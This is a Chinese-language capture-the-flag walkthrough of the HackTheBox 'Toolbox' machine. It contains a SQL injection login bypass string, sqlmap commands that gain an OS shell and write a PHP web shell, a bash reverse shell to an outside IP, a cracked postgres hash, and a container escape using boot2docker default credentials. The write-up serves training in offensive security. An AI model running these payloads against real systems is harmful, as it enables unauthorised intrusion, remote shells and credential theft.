概述 (Overview)
时间:2021-07-09
机器作者:MinatoTW
困难程度:easy
描述: 考察信息收集和SQL注入,以及基本的容器逃逸。
Flags: User: <md5>
,Root: <md5>
INFORMATION:
* Windows
* Sandbox Escape
* SQLi
攻击链 (Kiillchain)
使用 Nmap 对目标服务的端口进行识别,对发现的 Web 站点进行 hosts 绑定后,从而发现管理员登录系统。测试登录表单时发现存在SQL注入漏洞,利用该漏洞进行命令执行和文件写入,成功获取立足点。
通过环境下的 /.dockerenv
文件判断当前处于容器内部,通过 uname -a
和 ftp 内的 docker-toolbox.exe
安装包,锁定目标服务构建使用的 boot2docker
开源服务,并通过弱口令实现容器的逃逸。在逃逸后的环境中发现 administrator 的私钥,使用该私钥成功登录目标服务器的 Windows SSH。
枚举(Enumeration)
开局还是老规矩,对目标使用 Nmap 对端口进行识别:
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
| 256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_ 256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: MegaLogistics
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after: 2021-02-17T17:45:56
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-09T01:48:50
|_ start_date: N/A
从上述信息中获悉,FTP是已 FileZilla
服务运行的且存在匿名访问,只有一个 docker-toolbox.exe
安装包。从 443 端口的证书中泄露了一个 admin.megalogistic.com
域名,目标服务器被识别为 Window 系统。
浏览器查看 80 端口,大致预览了下暂时没有发现可利用的点。
将域名加入 /etc/hosts
,访问后显示登录表单,title为管理员登录字样。
立足点(Foothold)
尝试对表单内容添加单引号提交,发现返回数据中含有SQL语句错误信息,说明此处存在SQL注入。
根据泄露的SQL语句,注入一条恶意的语句使其闭合吊where中对password的md5校验:
username=admin' or ''=''-- -&password=admin
成功登录后台:
查看了下后台的内容,这就是个静态页面不存在任何交互功能,也没有请求后台接口。猜测利用点并不在此处,可能是要利用 Sqlmap 写 webshell,获取获取数据库中的表密码从而进行登录爆破。
首先通过 Sqlmap 确认下数据库信息:
可以看到的是 PostgreSQL
,接着尝试通过 --os-shell
执行系统命令:
$ sqlmap -u https://admin.megalogistic.com --data "username=&password=" --os-shell --proxy http://127.0.0.1:8080 --threads 10
在终端中成功执行系统命令 id
,并返回了运行者的身份信息。通过设置代理到 burp,我们可以完整的查看的此处 --os-shell
的攻击原理:
';DROP TABLE IF EXISTS sqlmapoutput;CREATE TABLE sqlmapoutput(data text);COPY sqlmapoutput FROM PROGRAM 'pwd';--
' AND 5856=CAST((CHR(113)||CHR(113)||CHR(113)||CHR(106)||CHR(113))||(SELECT COALESCE(CAST(COUNT(data) AS VARCHAR(10000))::text,(CHR(32))) FROM sqlmapoutput)::text||(CHR(113)||CHR(98)||CHR(120)||CHR(113)||CHR(113)) AS NUMERIC)-- WfiA
' AND 1018=CAST((CHR(113)||CHR(113)||CHR(113)||CHR(106)||CHR(113))||(SELECT COALESCE(CAST(data AS VARCHAR(10000))::text,(CHR(32))) FROM sqlmapoutput)::text||(CHR(113)||CHR(98)||CHR(120)||CHR(113)||CHR(113)) AS NUMERIC)-- Ivbd
';DROP TABLE sqlmapoutput--
执行了四条SQL,首先判断并创建了一个 sqlmapoutput
表,通过 COPY FROM PROGRAM
功能来进行命令执行,在查询完结果后清除 sqlmapoutput
表。
同时,在数据库 pg_authid
表中找到一组密码:
https://www.somd5.com/ 得到
32e12f215ba27cb750c9e093ce4b5127:passwordpostgres
测试了下目前这组密码无法给我提供帮助,尝试是使用 Sqlmap 向绝对路径写入Webshell。路径已经在前 SQL 注入的错误回显中得到。
$ sqlmap -u https://admin.megalogistic.com --data "username=&password=" --file-write "/home/kali/hackthebox/Toolbox/file/php-reverse-shell.php" --file-dest "/var/www/admin/s.php" --proxy http://127.0.0.1:8080
上传成功后,在浏览器中访问脚本 /var/www/html/s.php
,成功得到一个用户shell。
此处也可以直接传命令执行,效果是一样的:
--os-cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.15/9900 0>&1'"
在 /var/lib/postgresql/
目录下,成功得到 user flag
横向移动(Lateral Movement)
通过根目录下的 /.dockerenv
文件,判断出当前环境处于 Docker 容器中,需要进行容器逃逸。
通过 /etc/hosts
和 ifconfig
确认当前容器名称和IP地址。
在传递完 linpeas 后,运行 python3 -m pyftpdlib -p 21
来将文件传回,但发现目标服务器没装 ftp-cli,那就运行一个PHP脚本来接收curl的文件上传了:
在基本信息中可以看到系统是 boot2docker
:
通过 github 找到目标项目:https://github.com/boot2docker/boot2docker
,默认账号为:user: docker
,pass: tcuser
接下来就涉及到 Docker 网络模式的知识了,这里就不细说可以去搜一下讲的都比我好。这里我先用Python得到一个完整的tty,再尝试 ssh 登录172.17.0.1
也就是物理机虚拟出来的网络IP,成功实现横移。
通过执行 docker ps
命令可以看到容器列表:
权限提升(Privilege Escalation)
细心的朋友已经发现了,Nmap扫描出来的系统是 Windows ,为什么这里还是Linux?说明我们还是在容器里,还需要找到登录 administrator 的信息才行。
在根目录下发现存一个可疑的 /c
目录,进一步查看发现存在 administrator 的ssh登录私钥:
通过查看 passwd
文件,发现并没有这个 administrator 用户,猜测可能是用于连接 Windows 的 ssh 服务:
致此,成功获得 root flag。
参考
- https://www.cnblogs.com/xiao987334176/p/10049844.html